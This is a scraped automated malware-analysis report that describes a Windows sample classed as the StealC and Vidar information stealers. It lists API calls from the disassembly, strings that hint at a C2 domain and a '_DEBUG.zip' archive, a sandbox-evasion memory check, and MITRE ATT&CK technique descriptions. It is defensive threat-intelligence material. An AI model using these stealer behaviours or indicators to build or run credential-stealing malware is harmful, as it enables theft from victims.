Snapshot File: hcaresult_14_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocComputerExitName
String ID:
API String ID: 1553874529-0
Opcode ID: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction ID: 9778931569992fdfa2ae274a5f191432572d6dba79c88691fb85554d5ade8f97
Opcode Fuzzy Hash: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction Fuzzy Hash: 9A41A9B2D4422C57DB20EBB19C59FDB7BAC9F18310F5405A3E8D9E3181D67C9A84CB58

Function 00417151 Relevance: 16.8, APIs: 1, Strings: 8, Instructions: 1029
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F41,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8

CreateDirectoryA.KERNEL32(?,00000000,004366DA), ref: 0041771A

Part of subcall function 004139C2: strtok_s.MSVCRT ref: 004139F3

Part of subcall function 00413198: strtok_s.MSVCRT ref: 004131B7
Part of subcall function 00413198: strtok_s.MSVCRT ref: 0041323A

Strings

320a15ec01391d287fbc11f1e7ed5665, xrefs: 0041781C
http://, xrefs: 00417F67
org, xrefs: 00417FF7
hopto, xrefs: 00417FAF
.exe, xrefs: 00417659
_DEBUG.zip, xrefs: 00418045
.exe, xrefs: 00417F14
cowod., xrefs: 00417F8B

Memory Dump Source

Source File: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$CreateHeap$AllocDirectoryFirstH_prolog3_catch_NameProcessProcess32SnapshotToolhelp32User
String ID: .exe$.exe$320a15ec01391d287fbc11f1e7ed5665$_DEBUG.zip$cowod.$hopto$http://$org
API String ID: 2072274150-562375826
Opcode ID: 3269bf5c048c1256fcce7fabaee638b934f51281bb069808d17bf9c3564ca23f
Instruction ID: 4ceb97e4bc8bd76a369d1d2619bbd46815a38cac9c71142bc76181b4c2ec3f3b
Opcode Fuzzy Hash: 3269bf5c048c1256fcce7fabaee638b934f51281bb069808d17bf9c3564ca23f
Instruction Fuzzy Hash: AC9244315483419FC620FF26D94268EB7E1FF84308F51482FF58463191DBB8AA8D8B9B

Function 00406963 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 161
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000,00436997), ref: 004069C5
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40

Strings

GET, xrefs: 00406A42
ERROR, xrefs: 00406AB6
ERROR, xrefs: 00406BAB
hhA, xrefs: 00406976

Memory Dump Source

Source File: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$ConnectCrackFileHttpOpenReadRequestSend
String ID: ERROR$ERROR$GET$hhA
API String ID: 2949174142-1019273260
Opcode ID: 5ced189bb939a1fc5faa788c84153e92a49d451aed57d78017f4c722cf7cb7a8
Instruction ID: b8be4e115d185e019c2f990b7d5ff4e2311a6bf9c79d427f1dbcd116f6077eb1
Opcode Fuzzy Hash: 5ced189bb939a1fc5faa788c84153e92a49d451aed57d78017f4c722cf7cb7a8
Instruction Fuzzy Hash: C551ADB1A00269AFDF20EB60DC84AEEB7B9FB04304F0180B6F549B2190DA755EC59F94

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,004185DC), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction ID: 46aed83c215a1155ddf1663667cd5ec87320cd9fa35168939231c0eb8388c106
Opcode Fuzzy Hash: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction Fuzzy Hash: 57F0C27278122077F22422763C6EFAB5A6C9B42F56F205035F309FB2D0D66998049ABC

Function 004109A2 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

Strings

0xA, xrefs: 00410B21
QuBi, xrefs: 00410A27
C, xrefs: 004109DF
:\, xrefs: 00410A06

Memory Dump Source

Source File: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CurrentInformationProfileVolume_memsetmallocstrncpy
String ID: 0xA$:\$C$QuBi
API String ID: 1802918048-2474135401
Opcode ID: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction ID: a97db629e7901cba1803c5ad0a4512298f3feb58bff5cd952ebdd5184ea07982
Opcode Fuzzy Hash: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction Fuzzy Hash: A741AFB1A042289BCB249F749D85ADEBBB9EF19304F0000EAF109E3121E6758FD58F54

Function 0041224A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287

Strings

=A, xrefs: 0041225D, 00412262

Memory Dump Source

Source File: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID: =A
API String ID: 514040917-2399317284
Opcode ID: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction ID: ac01e61fcc3a8dc6a5e43971812eb7396920612e483317b6d6b91c956b259603
Opcode Fuzzy Hash: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction Fuzzy Hash: 84F0B471600218ABDB24EB68DC45FEF77BC9B44B08F10006AF645D7180EEB5DAC58B54

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report d1bc91bd44a0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2OJr0kqvYIvMGmMo_cc19252ca173c876ba4a3a842e7974d596f0c6_f05e2183_edd814a5-5a91-4ec4-a256-10e3a479ca50\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_HJCfr5V5_QVbJA3P_31b8ce65439a50121b23b84153588960845d6bec_80088be2_0f33ec71-5ede-4370-9161-b99e6456e971\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_a2a1886eeb1ab4738bb54344a74218f48ff23bbc_be4a79b7_8181095c-d21e-4ba8-ab03-05aeb4b91841\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_faac6578d9eb4145cf24c623c8a7076a595e99_473dd2bc_eaf91305-be79-4933-8420-b082d1199ace\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_d1bc91bd44a0.exe_a3af2ca23be4db44f6b6c8eec231fd10faccfa_f50e69e1_21fd06de-c9b0-4a73-b6c1-7188d06561c7\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B5B.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER204E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER208E.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER445F.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER452C.tmp.WERInternalMetadata.xml

Windows Analysis Report
d1bc91bd44a0.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre